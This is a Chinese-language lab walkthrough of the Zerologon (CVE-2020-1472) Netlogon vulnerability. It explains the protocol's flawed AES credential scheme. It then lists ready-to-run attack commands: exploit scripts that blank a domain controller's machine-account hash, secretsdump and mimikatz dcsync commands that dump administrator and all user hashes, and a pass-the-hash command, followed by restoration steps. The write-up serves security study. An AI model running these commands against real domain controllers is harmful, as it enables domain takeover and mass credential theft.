当前位置: 首页 > news >正文

NetLogon 权限提升漏洞

参考文章:CVE-2020-1472NetLogon权限提升漏洞_cve-2020-1472复现 谢公子-CSDN博客

  • 域控机器账户:WIN-0V0GAORDC17

  • 域控 ip:192.168.72.163

  • 域内攻击者机器 ip:192.168.72.158,host:WIN10-01

  • 攻击者 kali 机器 ip:192.168.72.162

NetLogon服务

Netlogon 是一个 Windows Server 进程,用于对域内的用户和其他服务进行身份验证。由于它是一项服务而不是应用程序,因此 Netlogon 会在后台持续运行,除非手动或因运行时错误而停止。可以从命令行终端停止或重新启动 Netlogon。最常见的是让用户使用 NTLM 协议登录服务器。默认情况下,Netlogon 服务在域内所有机器后台运行着,该服务的可执行文件路径为 C:\Windows\system32\lsass.exe。

NetLogon认证流程

  1. 客户端调用 NetrServerReqChallenge 函数给服务端发送随机8字节 Client Challenge 值。

  2. 服务端调用 NetrServerReqChallenge 函数给客户端发送随机8字节 Server Challenge 值。

  3. 双方同时生成 Session Key=KDF(secret,(Client Challenge+Server Challenge)) ,此secret是客户端机器账号的哈希值。

  4. 客户端使用 Session Key 作为密钥对 Client Challenge 加密运算为 Client Credential 并发给服务器,服务端进行相同步骤的运算并将结果与 Client Credential进行对比,相同则表示客户端有正确的凭据。

  5. 服务端使用 Session Key 作为密钥对 Server Challenge 值加密运算为 Server Credential 并发给客户端,客户端进行相同步骤的运算并将结果与 Server Credential 进行对比,相同则表示服务端拥有相同Session Key。

  6. 使用 Session Key 加密流量通信。

Session Key的生成

Session Key=KDF(secret,(Client Challenge+Server Challenge)),三种加密算法可选:AES、Strong-key 、DES。但是现代的 Windows server 通常拒绝 Strong-key 和 DES,所以都用 AES 加密。

  1. md4 加密算法运算 SharedSecret 得到 M4SS,此 SharedSecret 是客户端机器账号的哈希值。

  2. M4SS 作为密钥使用 HMAC-SHA256 算法对 Client Challenge 和 Server Challenge 进行一系列运算得到的结果取低 16 字节作为 Session Key。

 ComputeSessionKey(SharedSecret, ClientChallenge, 
                   ServerChallenge)
      M4SS := MD4(UNICODE(SharedSecret)) 
  
      CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS));
      CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge));
      CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge));
      CALL SHA256Result(HashContext, SessionKey);
      SET SessionKey to lower 16 bytes of the SessionKey;
Credential 的生成

由于现代的 windows server 都拒绝 Strong-key 和 DES,所以都用 AES 加密

  1. 初始化 16 字节 IV(上图黄色部分),对 IV 使用 Session Key 作为密钥,AES 算法加密后获取密文第一个字节。

  2. 将此字节与 Challenge(上图蓝色部分)得第一个字节进行异或运算,将运算后的结果(上图的e3)放在IV末尾,同时覆盖了Challenge的第一个字节。

  3. 抛弃原 IV 的第一个字节,从第二个字节开始一直到之前运算的字节(上图的e3)作为新的IV,也就是IV整体后移了一位。

  4. 取完这个 IV 后重放上述操作。

微软使用 ComputeNetlogonCredential 来生成 Credential,传入一个 SessionKey,局部变量初始化一个 IV,AES加密后得到 Credential。

 ComputeNetlogonCredential(Input, Sk, 
              Output)
  
       SET IV = 0
       CALL AesEncrypt(Input, Sk, IV, Output)

漏洞原理

135 端口的 netlogon 协议加密模块存在缺陷,导致攻击者使用管理员权限访问 135 端口调用远程 RPC 服务重置域控制器机器账号 hash。

在上述的 NetLogon 身份验证过程中,客户端是在第4步向服务端发送Client Credential进行的身份验证,但是客户端发送的Client Credential有1/256的概率全为0,这是因为微软在ComputeNetlogonCredential函数中生成Credential时,IV被初始化为全0,如下图所示:

  1. IV(上图黄色部分)全为0,Client Challenge(上图蓝色部分)因为我们可控全为0

  2. 只要 AES 加密算法对全 0 位的 16 字节进行运算的到的结果的第一个字节为 00,那么最终结果Credential就为全0位

    • 此时加密密钥为Session Key,而此Session Key=KDF(secret,(Client Challenge+Server Challenge)),也就是随机生成的,而随机生成的Session Key对全0位的16字节进行AES运算后,得到的结果第一个字节为00的概率是1/256

    • 服务端是通过Client Credential来验证客户端身份信息,如果步骤4生成的Credential为全0位,则其同样是合法的,我们能在步骤4时无限发送全0位的Client Credential来以1/256的概率爆破出合法的会话

注:上文的NetLogon认证流程中,第6步,也就是会话建立时,是有Session Key加密通信的,但是就算这个漏洞利用成功,我们也只能通过第4步骤的身份验证,并不能构造出合法的Session Key加密通信,所以在Net Logon身份认证时,需要设置标志位来取消加密会话,下面的攻击脚本就设置了flag标志位为0x212fffff,此标志位包含了取消加密会话的标志选项

漏洞实验

脚本zerologon_tester.py 和 cve-2020-1472-exploit.py

zerologon_tester.py
# 检测是否存在漏洞
python zerologon_tester.py WIN-0V0GAORDC17 192.168.72.163
CVE-2020-1472.py
# 攻击,使域控的机器账号哈希置为空
python cve-2020-1472-exploit.py WIN-0V0GAORDC17 WIN-0V0GAORDC17$ 192.168.72.163

远程连接域控
# 使用 WIN-0V0GAORDC17$机器账号,哈希为空连接,导出 administrator 用户的哈希
python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163    -no-pass -just-dc-user "administrator"
​
# 导出所有用户哈希
python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163    -no-pass

mimikatz漏洞实验

检测是否存在漏洞
# 使用 mimikatz 执行如下命令检测目标域控是否存在 Netlogon 权限提升漏洞。
mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.72.163 /account:WIN-0V0GAORDC17$" "exit"
重置域控hash(攻击机在域中)
mimikatz.exe "lsadump::zerologon /target:WIN-0V0GAORDC17.HACKER.com /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
重置域控hash(攻击机在域外)
mimikatz.exe "lsadump::zerologon /target:192.168.72.163 /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
远程连接域控
#导出指定 administrator 用户哈希
mimikatz.exe "lsadump::dcsync /csv /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:\"\" /authntlm" "exit" lsadump::dcsync /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:""/authntlm
​
#然后用 administrator 用户的哈希进行 pth 攻击连接域控,这一步需要 privilege::debug 提权
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.72.163 /rc4:33e17aa21ccc6ab0e6ff30eecb918dfb" "exit"

恢复御用机器账户hash

获得域控机器账号的原始哈希
# 使用 mimikatz 的 sekurlsa::logonpassword 模块执行如下命令从 lsass.exe进程里面抓取域控机器账号 WIN-0V0GAORDC17$ 的原始哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 恢复域控哈希
python reinstall_original_pw.py WIN-0V0GAORDC17 192.168.72.163 eace846f4b183390a111a1888b96beff

相关文章:

  • 2025年微店平台商品详情接口调用指南(Python代码示例)
  • Redis简介、常用命令及优化
  • es6中Relect的详细用法
  • 【MySQL】索引与事务
  • 深度学习-123-综述之AI人工智能与DL深度学习简史1956到2024
  • 一文讲解Redis中的常用命令
  • 蓝桥杯备赛-基础训练(二)链表 day13
  • 【含开题报告+文档+PPT+源码】基于SpringBoot+Vue的社区团购配送系统
  • 虚拟机网络ssh连接失败,没有网络
  • 在 Vue 3 中使用 ECharts 制作多 Y 轴折线图时,若希望 **Y 轴颜色自动匹配折线颜色**且无需手动干预,可以通过以下步骤实现:
  • 鸿蒙-验证码输入框的几种实现方式-上
  • 软件集成测试的技术要求
  • TCP和Http协议
  • import requests Pycharm 报错
  • 什么是向量化?ElasticSearch如何存储向量化?
  • fedora 安装 ffmpeg 过程记录
  • CUDA 安装 一直卡在Installing Nsight Visual Studio Edition
  • 在 Java 中解析 JSON 数据
  • 读写分离/双主双从
  • springboot中配置logback-spring.xml
  • 中国人民抗日战争暨世界反法西斯战争胜利80周年纪念活动标识发布
  • 上海与世界|环城生态公园带是上海绿色发展新名片
  • 5年建成强化城市核心功能新引擎,上海北外滩“风景文化都是顶流”
  • 深入贯彻中央八项规定精神学习教育中央指导组完成进驻
  • 江苏省委社会工作部部长等多人拟在省志愿服务联合会任职
  • 重视体重管理,筑牢健康基石